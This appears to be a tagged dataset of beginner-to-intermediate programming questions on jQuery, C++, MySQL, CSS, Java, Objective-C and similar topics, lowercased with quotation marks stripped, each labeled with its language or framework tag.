targeting a select box inside the header of a table  the code below works fine <strong>without</strong> the <strong>table</strong> tags. with the table tags i am unable to figure the right approach to reference the select checkbox.  so basically the  select  in $( select ) has to be changed to something else for this to work which i can t figure out. please help. thanks.   <pre><code>&lt; php  print_r($_post);   &gt; </code></pre>            <pre><code>&lt;script type= text/javascript  src= https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.js &gt;&lt;/script&gt; </code></pre>          <pre><code>&lt;table&gt;     &lt;form id=  cars  action=   method= post  &gt;         &lt;th&gt;         cars: &lt;select name= ddcars  id= ppcars  &gt;             &lt;option value=  &gt;choose&lt;/option&gt;             &lt;option value= 1 &gt;toyota&lt;/option&gt;             &lt;option value= 2 &gt;nissan&lt;/option&gt;             &lt;/select&gt;          &lt;/th&gt;     &lt;/form&gt;       &lt;form id= trucks  action=   method= post &gt;         &lt;th&gt;         trucks : &lt;select name= ddtrucks  id= pptrucks  &gt;             &lt;option value=  &gt;choose&lt;/option&gt;             &lt;option value= 1 &gt;tata&lt;/option&gt;             &lt;option value= 2 &gt;nissan&lt;/option&gt;         &lt;/select&gt;          &lt;/th&gt;     &lt;/form&gt; &lt;/table&gt;   &lt;script&gt;     $(document).ready(function() {         $( select ).change(function() {             $(this).parent( form ).submit();         });      }); &lt;/script&gt; </code></pre>,jquery
c++ pointer to class  i have a problem for calling the method of library  gum  in my program:   <pre><code>gum::bayesnet&lt;double&gt; *mybaynet=new gum::bayesnet&lt;double&gt;; gum::discrerevariable* dv=new gum::discretizedvariable&lt;double&gt;; int main() {   // error: invalid declaration   // of  gum::bayesnet&lt;duoble&gt;::add  &amp; //forbids declaration of  dv     unsigned int gum::bayesnet&lt;duoble&gt;::add(const (*dv) str)    {     return (*mybaynet).add(str);   } } </code></pre>   (see error message in comment.),c++
how can i use jquery to validate a field that should be filled with integers only   my entire project submission is pending only because of this one issue.i have used all validation in jquery form so that i could be fast and good for the use but i am stuck in this.could you please help me out in this issue.,jquery
"css centering to part of page length  so what i thought was going to be simple has turned out to be quite challenging for some reason. basically my challenge here is that i have text that needs to be the same format when expanded as it is while in a smaller window. while it is in the smaller window it is perfectly centered but when expanded it has way too much space to the right.     i have followed the directions on a different post saying to set it to a fixed position and then set the margins to auto but i now am seeing that there isn t a  min-margin-right.   <pre><code>&lt;div style =  position: fixed; z-index:4; left: 0; right: 0; top:80%; margin-left: auto; margin-right: auto; width: 50%; font-style: courier; font-weight: bold; font-size: 25px; &gt; </code></pre>   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;conquerer s quest&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
 &lt;div style= position:absolute;z-index:-3;left:0;top:0;width:100%;height:100% &gt;
   &lt;img src= space.jpg  style= width:100%;height:100%  alt= []  /&gt;
 &lt;/div&gt;
 &lt;!-- main game box --&gt;
 &lt;div style= position:absolute;z-index:0;left:2%;top:3%;width:80%;height:75%; background-color: #900; border: 5px double black &gt;
  &lt;canvas id = gamecanvas&gt; 
  &lt;/canvas&gt;
 &lt;/div&gt;
 &lt;!-- descriptions box --&gt;
 &lt;div style= position:absolute;z-index:1;left:2%;top:78.5%;width:80%;height:20%; background-color: #656060;  border: 5px double black &gt;
  &lt;canvas id = instructionscanvas&gt; 
  &lt;/canvas&gt;
 &lt;/div&gt;
 &lt;!-- description header --&gt;
 
 &lt;div style =  position: fixed; z-index:4; left: 0; right: 0; top:80%; margin-left: auto; margin-right: auto; width: 50%; font-style: courier; font-weight: bold; font-size: 25px; &gt;
 
 &lt;u align =  center &gt;
   conquerer s quest summary
   &lt;/u&gt;
 &lt;/div&gt;
 &lt;!-- description text --&gt;
 &lt;div style =  position:absolute; z-index:4;top:82%;left:5%;right: 20%; font-style: courier;font-weight: small; font-size: 21px; &gt;
 &lt;p align= center &gt;
   &lt;p1&gt;conquerer s quests is an rpg following the adventures of you the player. you can choose between several classes including the swordsman  the assassain  the knight  the wizard  and the ranger. the main objective of the game is to locate and get into the conquerer s sanctuary but along the way the player can level up their character  sell and buy armor and weapons  and complete side quests.&lt;/p1&gt;
 &lt;/div&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
create new table from records with shared values  i have a table where two or more records share a common field:   <pre><code>bob | ny mary| ny dan | ny ed  | ca ben | ca     </code></pre>   and i want to make a new table with the records that share a common value as field1 and field2:   <pre><code>bob  | mark bob  | dan mary | dan ed   | ben </code></pre>   i m not sure how to do a create table as select to achieve this.,mysql
how can i use getelementbyclassname on xmlhttprequested string  <pre><code>function getnotrec(articlelink) {   var req = new xmlhttprequest();   req.open( get   articlelink  true);   req.onreadystatechange = function(aevt) {     if (req.readystate === 4) {       if (req.status === 200) {         //console.log(req.responsetext);         findnotrectag(req.responsetext);       }       else {         console.log( error loading page\n );       }     }   };   req.send(null); }  function findnotrectag(htmltext) {   var notrec = htmltext.getelementsbyclassname( t_black );    //here   for (var i = 0; i &lt; notrec.length; i++) {     console.log( notrec  + notrec[i].innertext);   } } </code></pre>   i wish to get some  class  on another website using javascript. so i am using xmlhttprequest and successfully received.    but when i attempt to extract some class from received  i m getting errors on the console:   <pre><code> uncaught typeerror: cannot read property  getelementsbyclassname  of undefined        uncaught typeerror: cannot read property  queryselector  of undefined  </code></pre>   i think chrome know what am i doing but she is.. not like that  i guess    main question: there is any method using <code>getelementsbyclassname</code> on the string or like something     i ve tried <code>queryselector</code> also but it doesn t work (see error messages above).,javascript
how to avoid .prev().prev().prev() or how to look up an item with a class before the current one  i looked up the whole jquery docs  but i doesn t found anything: is it possible to search an element before the current one with a specific class  i thought this will work  but it doesn t:   <pre><code>$(this).prev( .bar ); </code></pre>   <a href= http://jsfiddle.net/ejh5g/  rel= nofollow >http://jsfiddle.net/ejh5g/</a>,jquery
timeout expired in windows phone 7 application development  i am building an app for windows phone 7 application using c#.net. i was able to extract data from web service but suddenly i started getting an exception while calling web service.    the exception message is:   <blockquote>    server was unable to process request. ---> error connecting: timeout expired.<br>   the timeout period elapsed prior to obtaining a connection from the pool.<br>   this may have occurred because all pooled connections were in use and max pool size was reached.   </blockquote>   can anyone tell me if this is an error caused because of coding or something else.<br> how can i fix this,c#
bypassing an html prompt for user button click  i have a site that is running phpbb forum software. when a moderator selects a post for approval  there is an html page that launches with the message  are you sure you want to approve this post  . the page then requires the moderator to confirm the action by clicking a yes button.    this is the html code that prompts the moderator to click the yes button:   <pre><code>&lt;fieldset class= submit-buttons &gt;   {s_hidden_fields}   &lt;input type= submit  name= confirm  value= {yes_value}  class= button1  /&gt;&amp;nbsp;    &lt;input type= submit  name= cancel  value= {l_no}  class= button2  /&gt; &lt;/fieldset&gt; </code></pre>   i d like to bypass this requirement  where automatically the {yes_value} is passed  as if the moderator clicked the yes button  thereby eliminating the need for the moderator to actually click anything.    is there a way i can modify the html code above to accomplish this,html
difference between two times in seconds  i am trying to print difference between two times in seconds in the given format. i tried all possible solutions  but unable to print below formats   <pre><code>start time: 15:15:30  end time: 15:15:37  difference times:     15:15:31     15:15:32     15:15:33     15:15:34     15:15:35     15:15:36 </code></pre>   any suggestions on how can i achieve this using java 8,java
how to load images from internet base on group   i want to load file one internet base on block. i have 10 images and i want to split it to 2 block to display on my website  each block include 5 images. after block 1 finished  block 2 will continue. how can i do it with jquery     <img src= https://i.stack.imgur.com/xmg7k.jpg  alt= http://i.stack.imgur.com/hcgj9.jpg >,jquery
how to use several string arguments in python  i want to pass two parameters to my string  using % s.    i tried this  but it did not work :   <pre><code>title =  im %s with %s  title %  programming  %  python  </code></pre>   it gives this error :    <pre><code>traceback (most recent call last): file  &lt;stdin&gt;   line 1  in &lt;module&gt; typeerror: not enough arguments for format string </code></pre>   do you have an idea  thanks,python
how to store data efficiently in c++  i am always improving my main project ( the best way to learn a new language is to give yourself a difficult task full of interesting exercises  i think ). it works perfectly ( still far from the end  anyway ) but i desire to improve the ( primitive ) way it stores data. currently everything is saved in .txt files and they need to be reloaded each and every time i run the program !  guess how long does it take    20 minutes ! i need a much more efficient  elegant and less stupid way to store and update my data. would anybody be so kind to help me      thanks !!,c++
what does `(select @rn :=0) var_init` do   i have seen some mysql queries using      <code>(select @rn :=0  @ct := null ) var_init</code>     i don t know what it does  .. i have searched for it for a long time and still i don t have an answer. any help is much appreciated .    it will be much appriaced if some one could explain this query to me ...   <pre><code>select  * from (             select c. *   @rn := if(  `type` != @ct   1  @rn +1 ) as rownumber  @ct :=  `type`  from jb_company c                (select @rn :=0  @ct := null ) var_init order by  `type`            ) c where rownumber &lt;=20 </code></pre>   i  am using the above query to fetch limited number of rows( i.e 20) of each type in from the table ( see the link below..for the question where i needed this )    <a href= https://stackoverflow.com/questions/22399508/mysql-query-to-fetch-limited-rows-of-each-type/22399623 noredirect=1#comment34064271_22399623 >mysql query to fetch limited rows of each type</a>    but i am still not getting the query.. some please help    thanks in advance.,mysql
absolute positioning of :before in tables vs divs  i m adding a pseudo-element with <code>:before</code> and position it absolutely to its parent which can be a table or a div. for design purposes the parent also has to have a 20px border.    wwhy are firefox and ie inconsistent and treat the positioning of the pseudo-element differently in the table     please have a look at my <a href= http://jsfiddle.net/nerdess/ns5gz/9/  rel= nofollow >jsfiddle</a> or the code below.    tested with <strong>ie10</strong>  <strong>chrome29</strong> and <strong>ff23</strong>.    html:   <pre><code>&lt;div&gt;i am a div&lt;/div&gt;  &lt;table&gt; &lt;thead&gt;     &lt;tr&gt;&lt;th&gt;header 1&lt;/th&gt;&lt;th&gt;header 2&lt;/th&gt;&lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt;     &lt;tr&gt;&lt;td&gt;entry 1&lt;/td&gt;&lt;td&gt;entry 2&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; </code></pre>   css:   <pre><code>table  div {    border: 20px solid yellow;    position: relative;    margin-bottom: 30px;    height: 50px; }  table:before  div:before {    background: red;    content:    ;    position: absolute;    display: block;    position: absolute;    top: 0;    left: 0;    width: 10px;    height: 10px;     } </code></pre>,css
iboutlet uitableview visible in simulator but not on device  i have developed a split view based universal application which runs as a navigation based application on iphone. after login table view appears which is the root view in split based application.    the code works fine on iphone simulator but when i try running it on device   the table view does not appear.    i tried debugging it and the problem is that table view is not being allocated memory when i am running on device whereas on simulator the same code allocates memory to iboutlet table view.    i dont understand why the same object is not being allocated memory when i try running it on device.,iphone
how does this filereader get  closed    consider the following sequence of events   <pre><code>public static void main(string[] a) throws ioexception {      filereader f = new filereader(a[0]);      system.out.println(f.ready()); // true      dosomethingwithreader(f);      system.out.println(f.ready()); // false }  private static string dosomethingwithreader(filereader reader) {      bufferedreader br = null;      try {         br = new bufferedreader(reader);         ...     } catch (ioexception e) {         e.printstacktrace();     } finally {         try {             br.close();         } catch (ioexception e) {             e.printstacktrace();         }     }      return line; } </code></pre>   filereader is not closed anywhere  but what closes it,java
vb .net access usercontrol1 s controls from form  i have an usercontrol and a form1. but  i m unable to access the usercontrol s controls  like the buttons or listbox that are on the usercontrol from my form1.    how can i access them     thank you,.net
jquery selector in variable  i wanted to ask about using selector from a variable    first i have:   <pre><code>function check() {   $( .info input  .info select ).each(function(n  element){      if ($(element).val()==  )      alert( empty );   }); } </code></pre>   and called it in   <pre><code>$( input )change(check); </code></pre>   and they worked fine.    but now i want to pass some value to the function to make it dynamic  like   <pre><code>$( input )change(check( .info )); </code></pre>   and changed the function to   <pre><code>function check(sel) {         $(sel +  input   + sel +   select ).each(function(n  element){      if ($(element).val()==  )      alert( empty );      });   } </code></pre>   but it doesn t work. any help please.. thanks     nagut,jquery
how to target a certain element in ul and li in javascript dom without any ids  i am trying to create a navigation bar with just javascript(without any css or html). i am wondering how can i target the second element of the array without any ids. with the following code i am able to make the element  china  green. what i want to do now is  to make the element  united states  green. how do i do that    <pre><code>var nav1 = document.createelement( div ) nav1.style.background =  red ;  var nav11 = document.createelement( ul ); nav1.appendchild(nav11);  var arr1 = [ countries    united states    canada    india    china ];  for (var i = 0; i &lt; 5; i++) {     var nav111 = document.createelement( li );     nav11.appendchild(nav111);     nav111.innerhtml = arr1[i]; } nav111.style.background =  green ;  document.body.appendchild(nav1); </code></pre>,javascript
how to append the error class next to textbox in jquery  i just want to ask on how to display error message next to textbox if the user doesn t enter anything and press submit required attribute should throw the desired error next to the textbox and not below it,jquery
getting related tags of buttons  i have number of buttons and i had given tag values for all. whenever i clicked on one button i need to get the related tags to that clicked button  related tags means up down right and left.    and i want to store first placed tag and do compare with the next placing tag whether it is in which place.    how to do     please help me in this.,iphone
.net application to paste data on word document  i have created windows application in c#.net from where user will be able to add text and save in database. now i want functionality like that user will be able to drag the displayed text on the screen(already saved in database) to word application and the text will paste on the ms-word document.    if some one has idea to do this then please give me suggestion to do the same.    thanks     munish,.net
c++ custom objects not being recognised  i m trying to write a basic weather monitoring station for the pi in c++  i ve got 2 sensors written as classes and i m trying to do a basic program to implement these classes and test that they function as expected. when i try to build the project eclipse replies with the following error messages which leads me to think i haven t included my header files correctly or something. if anyone can spot an error please let me know  thanks!   <pre><code>./src/helloworld.o: in function `main : /debug/../src/helloworld.cpp:30: undefined reference to `pressuresensor::pressuresensor()  /debug/../src/helloworld.cpp:31: undefined reference to `temperaturesensor::temperaturesensor()  /debug/../src/helloworld.cpp:34: undefined reference to `pressuresensor::getreading()  /debug/../src/helloworld.cpp:31: undefined reference to `temperaturesensor::~temperaturesensor()  /debug/../src/helloworld.cpp:41: undefined reference to `pressuresensor::~pressuresensor()  /debug/../src/helloworld.cpp:31: undefined reference to `temperaturesensor::~temperaturesensor()  /debug/../src/helloworld.cpp:41: undefined reference to `pressuresensor::~pressuresensor()  collect2: error: ld returned 1 exit status </code></pre>   this is the directory structure for the project:   <pre><code>/workspaces  - /src    - /helloworld.cpp  - /sensors    - /temperature.h    - /temperature.cpp (compiles correctly and has entries for all member classes)    - /pressure.h    - /pressure.cpp (compiles correctly and has entries for all member classes) </code></pre>   and here are the files in question:    /src/helloworld.cpp   <pre><code>#include &lt;iostream&gt; #include &lt;unistd.h&gt; #include &lt;string.h&gt; #include &lt;stdio.h&gt; #include &lt;cerrno&gt; #include &lt;wiringpi.h&gt; #include &lt;wiringpii2c.h&gt; #include  ../sensors/pressure.h  #include  ../sensors/temperature.h   using namespace std;  int main(void) {      if (wiringpisetup()) {         cout &lt;&lt;  wiringpi is tangled  exiting.  &lt;&lt; endl;     } else {         cout &lt;&lt;  wiringpi is untangled and ready.  &lt;&lt; endl;     }      pinmode(0  input);     pinmode(1  input);      pullupdncontrol(0  pud_up);     pullupdncontrol(1  pud_up);      pressuresensor pressure;     temperaturesensor temperature;      for (int i = 0; i &lt; 5; i++) {              cout &lt;&lt; pressure.getreading() &lt;&lt; endl;         cout &lt;&lt;  gpio 17:   &lt;&lt; digitalread(0) &lt;&lt; endl;         cout &lt;&lt;  gpio 18:   &lt;&lt; digitalread(1) &lt;&lt; endl;         cout &lt;&lt; endl;         usleep(150000);     }      return 0;  } </code></pre>   /sensors/pressure.h   <pre><code>#ifndef pressure_h_ #define pressure_h_ #include  ../bmp180/bmp180.h   class pressuresensor { public:     pressuresensor();     ~pressuresensor();     int getreading();  private:     sfe_bmp180 pressure;       char status;       double t p p0 a; };  #endif /* pressure_h_ */ </code></pre>   /sensors/temperature.h   <pre><code>#ifndef temperature_h_ #define temperature_h_  #define tmp102_addr 0x48 #define tmp102_cfgptr1 0x01 #define tmp102_cfgreg1 0x61 #define tmp102_cfgreg2 0xa0 #define tmp102_cfgregso 0xe1  class temperaturesensor { public:     temperaturesensor();     ~temperaturesensor();     float getreading();  private:     int tmpdevid;  };  #endif /* temperature_h_ */ </code></pre>,c++
how do i over come the is error  an unhandled exception of type  system.data.sqlclient.sqlexception  occurred in system.data.dll    an unhandled exception of type  system.data.sqlclient.sqlexception  occurred in system.data.dll     <img src= https://i.stack.imgur.com/qphz9.jpg  alt= an unhandled exception of type &#39;system.data.sqlclient.sqlexception&#39; occurred in system.data.dll >,c#
in mysql  how can i use the  replace  function when defining a stored procedure  the query cannot be executed due to quotes  i m attempting to run the below stored procedure.   <pre><code>create procedure rns_cleantext_max_length() begin  select max(length(rns_cleantext) - length(replace(rns_cleantext        ))+1) from rns; end </code></pre>   however this query doesn t run as i get the message:   <pre><code>you have an error in your sql syntax;  check the manual that corresponds to your mysql server version for the right syntax to use near    at line 3 </code></pre>   i ve also attempted single quotes  escaped quotes and as above double quotes.     any idea.     fixed by @eggyal:    the fixed query now looks like this:   <pre><code>create function rns_cleantext_max_length()  select max(length(rns_cleantext) - length(replace(rns_cleantext        ))+1) from fns; </code></pre>   as @eggyal points out the begin and end statements are not required. and in the cases where they are i have to modify the delimiter.     thanks!,mysql
how to avoid showing the first value inside html select tag  this is my simple html select program   by default its showing value as volvo (the first value )  is it possible that   not to show any value and let the user select      <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt;  &lt;form action= demo_form.asp &gt; &lt;select name= cars &gt;   &lt;option value= volvo &gt;volvo&lt;/option&gt;   &lt;option value= saab &gt;saab&lt;/option&gt;   &lt;option value= opel &gt;opel&lt;/option&gt;   &lt;option value= audi &gt;audi&lt;/option&gt; &lt;/select&gt; &lt;input type= submit &gt; &lt;/form&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,html
problem with jquery toggle  i need small help with jquery.    edit:   <pre><code>    echo  &lt;li&gt;  ;         echo $navi_menu-&gt;navi_name;          echo  &lt;ul&gt; ; </code></pre>   and the jquery to it was             <pre><code>&lt;script type= text/javascript &gt;             $(document).ready(function () {                 $( #nav li:has(ul) ).click(function (event) {                     if (this == event.target) {                         $(this).toggleclass( clicked ).children( ul ).slidetoggle();                         $(this).find( li:has(ul) ).removeclass( clicked ).find( ul ).slideup();                         $(this).siblings().removeclass( clicked ).find( ul ).slideup();                     }                 }).addclass( has_ul );              });         &lt;/script&gt; </code></pre>   this used to toggle up and down...now i have added a href tag in my html  instead of printing naviname(echo $navi_menu->navi_name; ) directly  i want a link to it. i need help to rewrite the jquery to accomdate a href wherever li tag comes....   <pre><code>   echo  &lt;li&gt;  ;         echo  &lt;a class=\ click\  href=\ display_mod.php navi_id= .$navi_menu-&gt;navi_id. \ &gt;$navi_menu-&gt;navi_name&lt;/a&gt; ;            switch($navi_menu-&gt;navi_id) {             case 1:                 echo  &lt;ul&gt; ; </code></pre>   and the jquery to it was    <pre><code>&lt;script type= text/javascript &gt;             $(document).ready(function () {                 $( #nav li:has(a.click):has(ul) ).click(function (event) {                     if (this == event.target) {                         $(this).toggleclass( clicked ).children( ul ).slidetoggle();                         $(this).find( li:has(a.click):has(ul) ).removeclass( clicked ).find( ul ).slideup();                         $(this).siblings().removeclass( clicked ).find( ul ).slideup();                     }                 }).addclass( has_ul );              });         &lt;/script&gt; </code></pre>   with the modifed jquery to accomdate a href tag is not working.    here li tag is parent and ul is child and the chain continues.    (part of the code is from cssplay.),jquery
objective-c class extensions vs private method or variable  im not understanding why people use extensions to make variables private instead of just declaring them only in the implementation file      take a look at this code one using extension and one using a instance variable:   <pre><code>//this is an extension @interface myclass () {   nsstring *myinstancevariable; } // ... @end or in the class implementation:  @implementation myclass {   nsstring *myinstancevariable; } // ... @end </code></pre>   both give me instance variables that would be private. why would i choose a extension instead of the 2nd approach of just declaring a instance variable,objective-c
delay the disabling of an element   in jquery how could you go about disabling a button and have it re-enable after a few seconds     i ve tried using a .delay(###).attr and .removeattr  but i can t get it to work. from what i ve read this is due to .delay made for animations and instead i need to use fadeout,jquery
javascript : assign a function and pass parameter at the same time  i have html buttons  classa   classb  and  classc  to which i assign the onclick handler function as follows..   <pre><code>var classa = document.getelementbyid( classa ); classa.onclick = filterbyclassa;  var classb = document.getelementbyid( classb ); classb.onclick = filterbyclassb;  var classc = document.getelementbyid( classc ); classc.onclick = filterbyclassc; </code></pre>   these 3 functions do the same thing  only difference being the class.  so  can i have a single function assigned to these buttons  called with different parameters for each button. something like below   <pre><code>var classa = document.getelementbyid( classa ); classa.onclick = filterbyclass( classa );  var classb = document.getelementbyid( classb ); classb.onclick = filterbyclass( classb );  var classc = document.getelementbyid( classc ); classc.onclick = filterbyclass( classc ); </code></pre>   i know this is a function call and not assignment and this is wrong but is there a way i can achieve this i.e. assign a function and pass parameter at the same time but not call it,javascript
which html control is suited for a blog s standard page   i want to code and design a blog without using any available scripts. i want to know which html control to use to display posts one after the other as in a typical blog.    i am going to use eclipse to code the same.,html
problem with ie in a menu with css  i have a strange problem with ie in a css menu.    have an <code>&lt;li&gt;</code> with a text and an <code>&lt;ul&gt;</code> (with position absolute) and <code>&lt;li&gt;</code> inside.     in mozilla firefox the sub <code>&lt;ul&gt;</code> assumes the desired position (see picture below).    in ie the text forces the sub <code>&lt;ul&gt;</code> to go forward. any ideas     thanks in advance!   <pre><code>li { float:left; width:auto; } li ul { left:-999em; margin-left:0; margin-top:5px; padding:0; position:absolute; width:150px; } li:hover {  left:auto  } </code></pre>   <img src= https://i.stack.imgur.com/zvtfj.png  alt= alt text >,css
changing only the  a  of rgba in a css class  i have an app where certain elements can be confirmed.  when they are created  they default to unconfirmed  and then later become confirmed.  they can belong to another class a or b.    if they belong to a  i have a css rule that is   <pre><code>.a {    background-color: red } </code></pre>   if they belong to b  the css is rule is   <pre><code>.b {    background-color: blue } </code></pre>   right now i have classes for unconfirmed and for confirmed.  the classes add opacity of 1.0 if confirmed  and .5 if unconfirmed.  my problem is that the .5 affects the text on the element too  which makes it cumbersome to read.    ideally i could have something like      .a {         background-color: rgba (255 0 0 x)       }    is it possible to overwrite the alpha value only on another class  i don t want to assign color to  the .confirmed or .unconfirmed class because it can change depending on if the class is .a or .b.,css
what are deprecated features in .net   how can i search for total of new and deprecated features in .net between each version  features such as:   <ul> <li>interfaces</li> <li>classes</li> <li>exceptions</li> <li>fields</li> <li>methods</li> <li>constructors</li> </ul>   what i m looking for is a report similar to <a href= https://www.azul.com/20-years-java-deprecation/  rel= nofollow >20 years of java deprecation</a>.,.net
declaring integer array in objective c without nsarray.n  (question updated after first comment)    <code>int max_size = 20;<br> int h[max_size];</code>    debugging gives a value of [-1] for h when using max_size to initialize;    if instead i initialize using an integer. so the code is:<code>int h[20]</code>   it works fine.                  this was with gcc 4.2 on mac os x 10.6.,objective-c
default load screens on ios  im making a universal app for iphone and ipad  both retina and non retina displays.    i ve looked around the web for the answer and have found conflicting answers  im not sure why some people say the default image for ipad has to be 2008 (h) rather than 2048.    anyway  i want to know what default.pngs i need to include with my app for the load screen. and whether each one is essential or not  also what name each one should be called     thanks,ios
python: how to find intersection of two lists (i need a lenght of intersection  actually) if there are duplicates   let me have thse two lists:   <pre><code>a = [ a   b   c   a   a ] b = [ a   b   d ] </code></pre>   i need to calculate jaccard distance = (union-intersect)/union  but i know there gonna be duplicates in each list  and i want to count them  so intersect lenght for the example would be  2 and jaccard distance = (8-2)/8    how can i do that  first thought is to joint lists and then remove elements one by one...    update: probably i had to stress more that i need to count dublicates;    here is my working solution  but it is quite ugly:   <pre><code>a = [1 2 3 1 1] b = [2 1 1  6 5]  import collections ax = collections.counter(a) bx = collections.counter(b)  r1 = [x for x in ax if x in bx] print r1  print sum((min(ax[x]  bx[x]) for x in r1))  &gt;&gt;&gt; 3 </code></pre>,python
mysql query  comparing tables reseults  when i execute these queries separately  i get the results below <code>$sql1-&gt;first</code> 2 columns  <code>$sql2-&gt;second</code> 2 columns:   <pre><code>$userid= ad0004 ; $comp_code= ad ;  $sql1 =  select distinct cccompany  cccnty         from d.tmtbcntc         where cccompany= $comp_code  ;  // //gets user &amp; their counties $sql2 =  select distinct uccompany  uccnty         from d.tmtbcntu         where ucuserid= $userid          and uccompany= $comp_code  ;  cccompany cccnty uccnty uccompany ad      at               ad      bb      bb      ad ad      be      be      ad ad      br      br      ad ad      cm      cm      ad ad      co      co      ad ad      de      de      ad ad      eb      eb      ad ad      ep      ep      ad ad      fb      fb      ad ad      gb               ad      gu      gu      ad ad      gv      gv      ad ad      ha      ha      ad ad      kf      kf      ad ad      kn      kn      ad ad      mb      mb      ad ad      mg      mg      ad ad      pf      pf      ad ad      ta      ta      ad ad      ub      ub      ad ad      wi      wi      ad </code></pre>   what i want to do is join the columns <code>cccompany=uccompany &amp;&amp; cccnty=uccnty</code> and also return the blank fields when there isnt a match found.    the issue i am having is the query seems to loop back through itself  meaning i get 22 counties per company and 20 counties per user  which comes out to 20x22=>440 results  i want 22 results and one query.    edit1:   <pre><code>$sql =   select distinct c_t.cccompany  c_t.cccnty  ( case when u_t.ucuserid= $userid  then   exists here  end ) as useronsite from  d.tmtbcntc as c_t left join d.tmtbcntu as u_t on u_t.uccompany = c_t.cccompany where c_t.cccompany =   $comp_code  ; </code></pre>   output:   <pre><code>    ad | at |     ad | bb |     ad | be |     ad | br |     ad | cm |     ad | co |     ad | de |     ad | eb |     ad | ep |     ad | fb |     ad | gb |     ad | gu |     ad | gv |     ad | ha |     ad | kf |     ad | kn |     ad | mb |     ad | mg |     ad | pf |     ad | ta |     ad | ub |     ad | wi |     ad | at | exists here     ad | bb | exists here     ad | be | exists here     ad | br | exists here     ad | cm | exists here     ad | co | exists here     ad | de | exists here     ad | eb | exists here     ad | ep | exists here     ad | fb | exists here     ad | gb | exists here     ad | gu | exists here     ad | gv | exists here     ad | ha | exists here     ad | kf | exists here     ad | kn | exists here     ad | mb | exists here     ad | mg | exists here     ad | pf | exists here     ad | ta | exists here     ad | ub | exists here     ad | wi | exists here </code></pre>   edit2:   <pre><code>$sql =   select distinct c_t.cccompany  c_t.cccnty  (     case when u_t.ucuserid= $userid      then   exists here      end     ) as useronsite from  d.tmtbcntc as c_t left join d.tmtbcntu      as u_t      on u_t.uccompany = c_t.cccompany  where c_t.cccompany =   $comp_code       and u_t.uccnty = c_t.cccnty ;       ad | at |     ad | bb | exists here     ad | bb |     ad | be | exists here     ad | be |     ad | br | exists here     ad | br |     ad | cm | exists here     ad | cm |     ad | co | exists here     ad | co |     ad | de | exists here     ad | de |     ad | eb | exists here     ad | eb |     ad | ep | exists here     ad | ep |     ad | fb | exists here     ad | fb |     ad | gb |     ad | gu | exists here     ad | gu |     ad | gv | exists here     ad | gv |     ad | ha | exists here     ad | ha |     ad | kf | exists here     ad | kf |     ad | kn | exists here     ad | kn |     ad | mb | exists here     ad | mb |     ad | mg | exists here     ad | mg |     ad | pf | exists here     ad | pf |     ad | ta | exists here     ad | ta |     ad | ub | exists here     ad | ub |     ad | wi | exists here     ad | wi | </code></pre>,mysql
what does  implicit conversion loses integer precision:  time_t   mean in objective c and how do i fix it   i m doing an exercise from a textbook and the book is outdated  so i m sort of figuring out how it fits into the new system as i go along. i ve got the exact text  and it s returning   <blockquote>     implicit conversion loses integer precision:  time_t  (aka  long ) to  unsigned int  .   </blockquote>   the book is  cocoa programming for mac os x  by aaron hillegass  third edition and the code is:   <pre><code>#import  foo.h   @implementation foo  -(ibaction)generate:(id)sender {     // generate a number between 1 and 100 inclusive     int generated;     generated = (random() % 100) + 1;      nslog(@ generated = %d   generated);      // ask the text field to change what it is displaying     [textfield setintvalue:generated]; }  - (ibaction)seed:(id)sender {     // seed the randm number generator with time     srandom(time(null));     [textfield setstringvalue:@ generator seeded ]; }  @end </code></pre>   it s on the <code>srandom(time(null));</code> line.    if i replace <code>time</code> with <code>time_t</code>  it comes up with another error message:   <blockquote>    unexpected type name  time_t : unexpected expression.  </blockquote>   i don t have a clue what either of them mean. a question i read with the same error was apparently something to do with 64- and 32- bit integers but  heh  i don t know what that means either. or how to fix it.,objective-c
i was doing a functionality in angular js  when i search and click on button  related search data has to display using ng-click and ng-repeat <pre class= lang-js prettyprint-override ><code>&lt;script&gt;      var app = angular.module( myapp   [ ngroute ]);      app.controller( myctrl   function($scope) {        $scope.srch = [{               name:  rani                 phno: 145365463            }            {                name:  raj                 phno: 989365463            }            {                name:  sai                 phno: 782144635            }            {                name:  roja                 phno: 5365463889            }            {                name:  priya                 phno: 321565463            }         ] &lt;/script&gt; </code></pre>  <pre class= lang-html prettyprint-override ><code>&lt;html&gt;      &lt;head&gt;          &lt;title&gt;sample&lt;/title&gt;          &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.26/angular.min.js &gt;&lt;/script&gt;      &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.26/angular-route.js &gt;&lt;/script&gt;   &lt;/head&gt;  &lt;body ng-app= myapp  ng-controller= myctrl &gt;  &lt;div&gt;           &lt;input type= text  ng-model= search  placeholder= search for name or email  style= width:200px; &gt;&lt;/input&gt;    &lt;table class= table table-striped  ng-show= search &gt;      &lt;tr ng-repeat= y in srch | filter: search &gt;        &lt;td&gt;{{y.name}}&lt;/td&gt;             &lt;td&gt;{{y.phno}}&lt;/td&gt;      &lt;/tr&gt;    &lt;/table&gt;  &lt;/div&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>,angularjs
how do you read text files off the internet in android 4.0.3  i am a relatively new android programmer and i was wondering how you could get read text off the internet in 4.0.3. i keep finding code that gives me a network on main exception: <a href= http://developer.android.com/reference/android/os/networkonmainthreadexception.html  rel= nofollow >http://developer.android.com/reference/android/os/networkonmainthreadexception.html</a> and was wondering if anyone could provide me some sample code to get around this  for reference i got the code i tried to use here: <a href= http://android-er.blogspot.com/2011/04/read-text-file-from-internet-using-java.html  rel= nofollow >http://android-er.blogspot.com/2011/04/read-text-file-from-internet-using-java.html</a>. thanks a lot.,android
